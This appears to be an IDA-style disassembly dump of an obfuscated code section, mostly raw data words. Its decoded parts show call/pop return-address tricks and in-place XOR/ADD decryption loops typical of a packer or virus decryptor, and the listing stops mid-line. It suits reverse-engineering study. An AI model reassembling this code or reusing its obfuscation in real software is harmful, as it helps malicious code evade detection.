2FE3h dd 5870A39Dh, 5B62D9B4h, 0BF18D31h, 0F98B07E9h, 0B406858Dh dd 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0F98412C3h, 0E90941A6h, 13h, 2B6D59FBh, 19BBFD81h dd 0E3AC4D54h, 1327BE0Eh, 908CBA6Ah, 0B5899050h, 7E92AFDh dd 35FF64h, 66000000h, 64F088BBh, 2589h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 129B8CC3h, 84B8F374h, 159D0B6Fh, 0FF07E923h, 0E90F9D85h dd 0D3EF8007h, 8D89FF6Ah, 7E91885h, 1F55B5FFh, 6A07E9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 21C15C3h, 30F3D66h, 0E8F3C381h, 95FF621Ah, 7E9233Dh dd 0E8E9h, 0E800B000h, 0Eh, 2CC99F82h, 38EF120Ch, 0CBB0BB8Eh dd 66607524h, 61A1AFBFh, 8170E65Fh, 334499E7h, 8B71E45Ch dd 3CFB8BFEh, 0B6830F61h, 1000000h, 0E91341B5h, 0C8B60F07h dd 0A37DBF66h, 6BAh, 0EAE78100h, 8B28F331h, 0E90FADBDh dd 0F5C18B07h, 0FC04E8C1h, 66E2F766h, 9F06EB81h, 0B589C82Bh dd 7E91E19h, 0D18BFB8Bh, 229D9D8Bh, 0AE907E9h, 60000000h dd 66F8BF0Fh, 0B2B4E981h, 0C9858B61h, 8B07E917h, 7C083DFh dd 5E9h, 10E6B100h, 0C083238Eh, 59BD8B00h, 3B07E931h, 0B830FD0h dd 66000000h, 7106D381h, 38E9h, 8D8BF800h, 7E91911h, 231D9D8Bh dd 0E18307E9h, 22840F01h, 89000000h, 0E92681B5h, 11A58307h dd 0FE07E919h, 0DA8BFC8Ah, 17C99589h, 8D2907E9h, 7E90AADh dd 0E9h, 84B58D00h, 0F07ED38h, 689h, 0EDBD8900h, 6A07E902h dd 0BD9D8B00h, 0FF07E907h, 0E90C3195h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 2C140B66h, 0B95BBFA9h, 819h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0A5C35747h, 0E9396BD6h, 0BD89243Bh dd 7E911FDh, 0E183FE8Bh, 0D88B66FCh, 57006AFCh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 1B5FBDAh, 6DB3C115h dd 0D5D7D381h, 0C02B7A55h, 8D895060h, 7E92975h, 0C6816659h dd 2B617BB1h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 33791A93h, 0B89965E0h, 33AD4AFAh dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 3E2379C3h, 0DF816650h dd 8A5B268Dh, 880DF9h, 0B70F0000h, 0D958BDAh, 6A07E932h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B01C352h, 0E922E58Dh, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 28879AE0h dd 31D60C30h, 0E911758Dh, 0D8BF6607h, 0C28B5062h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 2533C353h dd 299B5921h, 0F869DFF3h, 1C2DBD83h, 0F0007E9h, 0BB84h dd 85858900h, 0E807E91Fh, 7, 67C5BB79h, 8BB46C89h, 0E92C759Dh dd 0B85B07h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0E3ECC357h, 2D4CC4CEh dd 5A8D8DA7h, 6A07E94Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 65ADC351h, 0BFA83A84h dd 48A4BA80h, 2D858960h, 0E807E924h, 8, 6D5F351Bh, 4F19C4E1h dd 11E9h, 68103000h, 0C956C01Ah, 44DF7865h, 563153DDh dd 615B37C8h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 850F5BC3h, 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E922B1h], 0 jz loc_5D13FC push 0 push ebx call sub_5D0F4C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0F4C proc near ; CODE XREF: sdfs____:005D0F44p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5D0F4C endp ; --------------------------------------------------------------------------- dd 6D9D896Ah, 8307E90Ch, 0E922B1BDh, 840F0107h, 4A7h, 6E9h dd 0C463700h, 837F3C8Ch, 0E922B1BDh, 860F0307h, 459h, 6810F60h dd 89000000h, 0E909098Dh, 35BA6607h, 6A6061E9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 52C5C351h, 9AB96B56h, 0CF816676h, 0BB66B27Ah, 8C66DD21h dd 0AE8D9h, 9DE50000h, 0BEFFFED1h, 53CD9A26h, 20819589h dd 665B07E9h, 0E180DE8Bh, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0A2EAE259h dd 0BFC8CF36h, 6C51DA82h, 840FC90Ah, 154h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F4C35747h, 95F1A21h dd 0E92B25BDh, 55858B07h, 6A07E90Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0D2CCC356h dd 5E8h, 8465AD00h, 7E9A83Ah, 71000000h, 8CBFC48Fh, 335F40C1h dd 0E91CE985h, 6850F07h, 89000000h, 0E924E9B5h, 0BB669007h dd 0E9503C4Eh, 0Ch, 35504231h, 0B8BE3986h, 0B92D3A9h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 1D7E5D08h, 0BBD1FE6Bh, 4C1E3816h, 0E8F9006Ah, 4, 1F03FFh dd 24448B50h, 8BF98B04h, 6E900h, 0A8510000h, 0CE45AABCh dd 4244489h, 0DE8h, 5B743A00h, 0D093DF5Dh, 1542944Fh, 8B663804h dd 81585BD8h, 368B74E7h, 0D995FF41h, 6A07E902h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 249DC351h, 7ED78017h, 2D18589h, 858907E9h, 7ECD785h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 31C35343h dd 8B7BB38Ch, 0E93165BDh, 1EAE907h, 9D8B0000h, 7E90F1Dh dd 0D77D858Bh, 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0FE9ABC3h, 58000000h, 0F281665Eh dd 6BD1809Ch, 6EE34C52h, 0C73561h, 18h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h, 3518A3Ch dd 31B36F0Ah, 0E9216D95h, 81B58B07h, 6607ECD7h, 0BB3CE0BFh dd 62E98D99h, 1859858Bh, 8B6607E9h, 999509FEh, 8907E91Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 858B66D2h, 7E90C55h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 4AC35545h, 9026A47Dh, 89829531h dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0BD89AAC3h, 7E93139h, 89FE8B50h, 8B662434h dd 7DB5FFF9h, 0F07ECD7h, 0C8Eh, 7E900h, 0F5280000h, 945ACF78h dd 4E82Fh, 3FF0000h, 8B50001Fh, 24448BD8h, 50008B04h, 0F616052h dd 12B6BB31h, 585A28D4h, 4244489h, 5058F88Bh, 3541BD8Bh dd 8D5B07E9h, 0ECD78585h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 88167643h dd 1DBD895Ch, 5007E922h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0D740C351h dd 0C1C1EF91h, 1C8274A3h, 1A6DB589h, 95FF07E9h, 7E902D9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CEC35242h dd 0C9936610h, 14E898h, 12130000h, 9851711Ch, 815E8D76h dd 0A2E771BAh, 0BC3EC211h, 810F14E0h, 3, 5BD8B70Fh, 48C0F61h dd 66000000h, 0C7BDC7BFh, 0E922B185h, 307h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 95A95276h, 0A6809BEAh, 0B70F3F6Ah, 85BD83F9h, 7ECD7h dd 4B840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 70F510C3h, 988E779Ah, 3EE90Dh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BB027C3h, 0E92B35BDh, 0C305007h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h ; --------------------------------------------------------------------------- loc_5D13FC: ; CODE XREF: sdfs____:005D0F3Bj ; sdfs____:005D1413j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5D13FC jmp short loc_5D1432 ; --------------------------------------------------------------------------- loc_5D1417: ; CODE XREF: sdfs____:005D142Ej push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5D1417 jmp short $+2 loc_5D1432: ; CODE XREF: sdfs____:005D1415j mov eax, eax pusha mov [ebp+7E92E91h], ebx mov [ebp+7E92A8Dh], ecx popa cmp dword ptr [ebp+7E922B1h], 3 jnz loc_5D181A push 0 push ecx call sub_5D145A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D145A proc near ; CODE XREF: sdfs____:005D1452p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5D145A endp ; --------------------------------------------------------------------------- enter 0FFFFBD89h, 0E5h and ecx, ebp pop es pusha cmc mov eax, [ebp+7E93449h] popa cmp dword ptr [ebp+7ECD785h], 0 jz loc_5D181A push 0 push eax call sub_5D1492 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1492 proc near ; CODE XREF: sdfs____:005D148Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5D1492 endp ; --------------------------------------------------------------------------- dw 9839h dd 0FF9DB3CEh, 0ECD785B5h, 0FFDA8A07h, 0E9134995h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0D3CD1A7Fh, 0A9F6FE36h, 0B5BD2Bh, 0B58B07E9h, 7ECD779h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2AC35545h dd 776DED50h, 9E6C6BBBh, 106C7h, 8B960001h, 5F5350DFh dd 6880F96h, 8B000000h, 0E92FE9BDh, 41B58907h, 0FF07E92Eh dd 0ECD785B5h, 0EDDB8007h, 1AB195FFh, 6A07E9h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0D67487C3h, 0FB8B98E4h, 0D779B58Bh, 9D8B07ECh, 7E916D5h dd 2449858Bh, 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0E24EC6C3h, 1E0A90D9h, 0CE9h, 0FE2D4D00h dd 259B1523h, 0F2E2D1D9h, 53CB81BFh, 89406531h, 0C486h dd 0EE900h, 0E8DC0000h, 416102F9h, 7B4BB4B2h, 0AB3B3636h dd 320D958Bh, 858907E9h, 7E90859h, 104C283h, 0E91F19B5h dd 20508907h, 1169B531h, 858D07E9h, 7ECECA1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D0C35141h, 30515947h dd 0E5BB665Fh, 88BF6649h, 5BF856E4h, 0B88689h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 67489FC3h, 48D63052h, 60B1E864h, 0AE9h, 9C7F8300h, 0D75D639Fh dd 8B41F204h, 0E91A198Dh, 6A6107h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 84C35141h, 0C6C249FCh, 2B52F8D0h dd 0FF5B51FCh, 0ECD785B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0B143BFE1h dd 89F2A397h, 0E925D58Dh, 11BD8B07h, 0FF07E91Bh, 0E902CD95h dd 0A1B58907h, 5007E90Fh, 0FD9BF66h, 60243489h, 0BD3147B4h dd 7E90961h, 85B5FF61h, 0F07ECD7h, 128Fh, 0AE86000h, 9D000000h dd 613DF831h, 36EBAFEAh, 0FF615AA6h, 0E9302D95h, 0D958907h dd 8307E90Fh, 0E91EC9BDh, 840F0007h, 45h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 19h, 8DC35545h, 8F06F149h dd 0AE99603h, 8F000000h, 7C6732E8h, 0A6B36913h, 0BB66506Bh dd 6096F016h, 3880Fh, 0B70F0000h, 0CBB70FF6h, 85B5FF61h dd 6A07ECD7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0B449C356h, 29BF6658h, 9D95FF05h dd 6A07E91Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0C5BFC353h, 0D10A6573h, 9D8918CDh dd 7E90A2Dh, 0D785B5FFh, 816607ECh, 0FFADDCDFh, 0E9013995h dd 4FC38107h, 832EA6CBh, 0E929CDBDh, 840F0207h, 4Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F7C35040h, 0FE2BC48Bh dd 3CC1B091h, 79DBD89h, 858B07E9h, 7E90875h, 0C6FCh, 11E9h dd 0AC92DA00h, 8A8435BEh, 25C916E9h, 1BB06BDFh, 85C72680h dd 7E924ADh, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+7E9265Dh] loc_5D181A: ; CODE XREF: sdfs____:005D1449j ; sdfs____:005D1481j jmp near ptr dword_5D0B08+9Ch ; --------------------------------------------------------------------------- push 0 push edx call sub_5D182A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D182A proc near ; CODE XREF: sdfs____:005D1822p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5D182A endp ; --------------------------------------------------------------------------- dw 9B6Fh ; --------------------------------------------------------------------------- xchg eax, edi mov edi, [ebp+7E90121h] mov eax, ecx jmp loc_5D1853 ; --------------------------------------------------------------------------- dw 0F9EDh dd 4C81D9Dh db 0CDh, 8Dh, 0A3h ; --------------------------------------------------------------------------- loc_5D1853: ; CODE XREF: sdfs____:005D1845j lea eax, [ebp+7E90861h] call near ptr loc_5D186F+2 pop edx pop ebp dec eax mov ch, 30h xor ecx, [ecx-74A3BB80h] sub esi, edi xchg ch, bl fstp8 st(1) loc_5D186F: ; CODE XREF: sdfs____:005D1859p enter 0FA8h, 82h ; --------------------------------------------------------------------------- db 0 dd 5F000000h, 66525090h, 0FC488BBh, 52506031h, 585A310Fh dd 5A61D98Bh, 0A6B75058h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 7C082FE8h dd 0B7006AA2h, 0E8006ADBh, 12h, 0B5CA63D6h, 51E01F3Ah dd 84299219h, 0C3F4D90Eh, 4DBB5685h, 5F111BFDh, 845BD0Bh dd 858D07E9h, 7EDDCFFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 8EC35141h, 0DFE50FAFh, 0DEE88B2Bh, 89D9509h dd 0BD0107E9h, 7E90939h, 6A05C083h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 8079C352h dd 0FDCD74D4h, 25BFDE8Bh, 502319B3h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0C348C357h, 0B70F82B9h, 719D8BFBh, 6A07E925h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0A62B0C13h, 0F3810993h, 5CA24C7Ch, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 2B001FC3h, 489AF781h, 95FF19F4h, 7E90FB9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FBC35141h, 45DF8112h dd 0BB40974Ch, 49D82ADEh, 0D72C8D8Dh, 958907ECh, 7E906FDh dd 0DE8D1FFh, 7E000000h, 34695A62h, 0F84D68E9h, 7D66C229h dd 819D8960h, 8B07E92Ch, 0E91FA185h, 835B6107h, 0E91B69BDh dd 850F0107h, 99h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0FCC35141h, 2362517Bh, 8E9h, 9BE4E700h dd 1876FDCAh, 0E9026A73h, 10h, 0CEE1D7D0h, 0AB657A3Ah dd 436DA10Fh, 0BFA7731Fh, 52506050h, 12E8h, 0E18B8200h dd 0CD5DD1BAh, 139AC44Ch, 0BD7A226Fh, 5E47620Dh, 0A2B0310Fh dd 8961585Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 816699C3h, 8B5AD9EBh, 0CD95FFFBh dd 6607E902h, 0B797DFBFh, 0E45E93Dh, 0E80000h, 5D000000h dd 0DD09ED81h, 0BD8B07EDh, 7E93165h, 9E8h, 25DA2100h, 0C943D7A2h dd 860F2D68h, 2, 8D5F5F52h, 0ECB40685h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 864EE295h, 941881CCh, 249DBD8Bh, 535007E9h, 5E8h, 6B3BF600h dd 616068ECh, 4895F5Bh, 6413B324h, 35FFh, 9D890000h, 7E92EFDh dd 258964h, 8A000000h, 9D85FFD8h, 6A07E90Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 4FD2C351h, 5587CD06h, 89194710h, 0E9297DB5h, 8BFF6A07h dd 0E934C5BDh, 0D1B5FF07h, 6A07E912h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0A028C356h dd 705737D8h, 0AD54394Ch, 3D95FFF9h, 0E907E923h, 145h dd 5BFB8B57h, 8D0100B0h, 7E919D5h, 800F70E6h, 16h, 11E9h dd 7DADB00h, 0DBE0493Ah, 2FBADFEEh, 0F4A8D9CAh, 0E4F83980h dd 0E99D8B71h, 3C07E90Bh, 0A830F61h, 8B000001h, 0E91CDDBDh dd 0C8B60F07h, 0B9BD8960h, 8907E92Eh, 0E90A919Dh, 6BA6107h dd 0F000000h, 1784h, 12E900h, 2C0000h, 669D98FEh, 0FD793CC6h dd 8E84A9E3h, 1BB9CA0Fh, 0FE8C18Bh, 5C000000h, 79223CA1h dd 6E9B88EBh, 60D992E9h, 6BBEBB8h, 5F5B9CC6h, 8904E8C1h dd 0E919E58Dh, 0E2F76607h, 24719589h, 0C82B07E9h, 0D18BF98Bh dd 6E9F9h, 0B5890000h, 7E90A39h, 851858Bh, 8B6007E9h, 0E9265D85h dd 0F18B6607h, 7C08361h, 0AE59D8Bh, 0C08307E9h, 0C3816600h dd 0D03B91E7h, 25830Fh, 8D890000h, 7E91815h, 5CE9h, 0EE800h dd 70D20000h, 0D0170FF1h, 0E65B8723h, 0CBEDCEEAh, 2A298D01h dd 8B5B07E9h, 0E90C8D8Dh, 9B50107h, 8307E935h, 840F01E1h dd 2Dh, 2E9F59BFh, 8DA58375h, 0FE07E90Ch, 89D88B66h, 0E9085195h dd 0D59D8B07h, 0E907E909h, 8, 2B2D68C9h, 67E065C1h, 0E9h dd 0A7B58D00h, 6A07ED42h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 1C5DC352h, 600FA8CAh dd 6880Fh, 858B0000h, 7E90E29h, 2EB1BD89h, 6A6107E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 8E428F5Fh, 61C79BDh, 0FFF5F2B7h, 0E90C3195h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 3DFF93BCh, 0D6B99B6Eh, 6A000007h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 6130C350h dd 21F5B589h, 0BD0B07E9h, 7E9124Dh, 6AFCE183h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 6654C353h, 3693D381h, 0C02BF9FCh, 6870Fh, 0BD890000h dd 7E922E1h, 0BAh, 33ADF800h, 3E8D1C2h, 4E983D0h, 0EE9F475h dd 50000000h, 5DB57F32h, 5669A89h, 21E4A52Ah, 0DBB666Ah dd 55006A75h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 2F86C39Fh, 880DE6h, 958B0000h, 7E9320Dh dd 2DC9BD8Bh, 8D8B07E9h, 7E922E5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0CC35040h, 48BF664Dh, 0C28B5024h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0E822C355h, 0B4EA040Fh, 0D8D89F8h, 8307E931h, 0E91C2DBDh dd 840F0007h, 0ABh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 5FC35747h, 7FA31218h, 0C22EBAFCh, 3317BB66h dd 11E9h, 9C286300h, 0BE151CD6h, 50234BFCh, 0A97FF60Ch dd 0B82C18h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 79CAC350h, 0A2EB203h dd 6890F60h, 89000000h, 0E92F1D85h, 0AE907h, 0C57D0000h dd 61AFC009h, 84FA0AA4h, 5A8D8D61h, 6A07E94Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0FFBAC351h, 999D29E1h, 8307E92Ch, 0E922B1BDh, 840F0007h dd 44Fh, 880Fh, 0BD830000h, 7E922B1h, 57840F01h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0BD61C357h, 0F53F022h, 0BD83DAB7h, 7E922B1h dd 0F1860F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0D12AC357h, 480D736Dh dd 0D9D8D89h, 0F6007E9h, 68Ch, 0E5BD2B00h, 6607E90Ch, 6AD98Ch dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 162391C3h, 1CDF0053h, 9D9D8BCCh, 8007E90Ch, 0AF904E1h dd 26840FC9h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0F927C350h, 0A9FD0FB7h dd 0D5BD89EEh, 8B07E91Eh, 0E90C5585h, 0BDBD3307h, 8907E916h dd 0E91CD985h, 0E9853307h, 6A07E91Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AFFFC350h dd 6D4DA76h, 0B98AC34h dd 8D89B2B7h, 7E924A9h, 50C4B390h, 0B490BF66h, 0A19D2990h dd 6A07E922h, 8FBB6600h, 51BD8BF7h, 6807E92Bh, 365C052Ah dd 13860F60h, 0E9000000h, 0Eh, 0A02CBD53h, 7E045FCh, 8A8BBDC0h dd 0B9665356h, 816152E9h, 6D52434h, 8D0F3643h, 0Ah, 5E9h dd 3A459E00h, 95FFF78Fh, 7E902D9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 80C35343h, 43F6AA6h, 0DB5A241Ah dd 7E9B8h, 0AA8C0000h, 0FD2CC835h, 858589F8h, 8B07ECD7h dd 0EE9DEh, 52A90000h, 0A05B7932h, 79DF8355h, 0F31EF40Eh dd 1D9E9h, 6890F00h, 1000000h, 0E9353DBDh, 7D858B07h, 6A07ECD7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0D676C355h, 431AFD46h, 23B7ED62h, 11E860FCh dd 6000000h, 0C127CC0Ch, 33B55D49h, 55846EFCh, 48A6BE7Fh dd 9D9D8Bh, 805907E9h, 0F61CAE6h, 86h, 1800C700h, 60000000h dd 89D8D8Bh, 61F507E9h, 0D781B58Bh, 6A07ECh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D7D491C3h dd 94557335h, 0F5206D0h, 683h, 59B50900h, 5F07E902h, 0E30010BBh dd 59858B4Dh, 6007E918h, 8166D68Bh, 611E45EEh, 89F8B70Fh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 2B47F2DAh, 55858B13h, 6A07E90Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 3C1CC357h, 0E9C702EFh, 46890129h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 4DB3505Ah dd 0FF243489h, 0ECD77DB5h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 9E8ECh, 0D24A0000h dd 2A1CBD03h, 66573356h, 5B60BEBFh, 3E5AD568h, 13E918h dd 6AAC0000h, 0A5B3D6FDh, 6BE8AED3h, 415DFD1Bh, 0A8660796h dd 243481FBh, 1821592Ah, 85858DF5h, 5607ECD7h, 2C399589h dd 905F07E9h, 1B35BF66h, 906BB350h, 0DE9h, 0C5108300h dd 0D91AF36Eh, 75086E98h, 95FF4797h, 7E902D9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h, 8746CB81h dd 0E96114EEh, 10h, 3D3EA524h, 0B3407F97h, 266CB3EFh, 8314C068h dd 22B185C7h, 307E9h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 8589FEC3h, 7E91979h dd 0D785BD83h, 0F0007ECh, 4384h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 2453BA7Bh dd 9A1520FDh, 0D5BB899Ah, 8B46EB1Fh, 0E93475BDh, 29E907h dd 8B500000h, 0E923C59Dh, 0B5295F07h, 7E907D9h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E906C350h, 12h, 0CC57E55h, 0F64CD755h, 4128CEBFh, 0A4B94DBBh dd 870F9122h, 2, 0BD83D88Bh, 7E922B1h, 87850F03h, 57000004h dd 85BD835Bh, 7ECD7h, 478840Fh, 8B660000h, 85B5FFDFh, 5107ECD7h dd 7A3DBDBFh, 95FF5F04h, 7E91349h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0DEC35646h, 0D88B66C7h, 0D779B58Bh dd 10E907ECh, 9E000000h, 3236C5Eh, 415A4ADCh, 4EB5A675h dd 0C751FFD7h, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 4027654Eh, 9D8B14CBh dd 7E93585h, 0B4D9D8Bh, 0BD8B07E9h, 7E92A29h, 11E896h dd 30D40000h, 13DFDD18h, 264B5182h, 0B6FEF64Dh, 0E9EAD682h dd 11h, 62B01C43h, 0BA5A5DCCh, 521991Ch, 0EABD592Bh, 66505F73h dd 6A96FE8Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0FE5BC357h, 68F0Fh, 8D890000h dd 7E92135h, 153D9D8Bh, 0B5FF07E9h, 7ECD785h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B6C35747h, 16EB8166h dd 0B195FF70h, 8107E91Ah, 0DC3EB2DBh, 79B58B6Bh, 8B07ECD7h dd 49858BFBh, 0F07E924h, 8D09DBBFh, 7E92FE9h, 0C48689h dd 0E9F80000h, 10h, 0F57536A8h, 0BB5E2743h, 0BBE64A60h dd 8D23F6A8h, 320D958Bh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 92731CC3h, 0AC3C6BEBh dd 6A04C283h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0F30CC352h, 6D858960h, 6107E930h dd 0B850Fh, 6E90000h, 7B000000h, 6BAE54A4h, 20508931h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BDC35141h dd 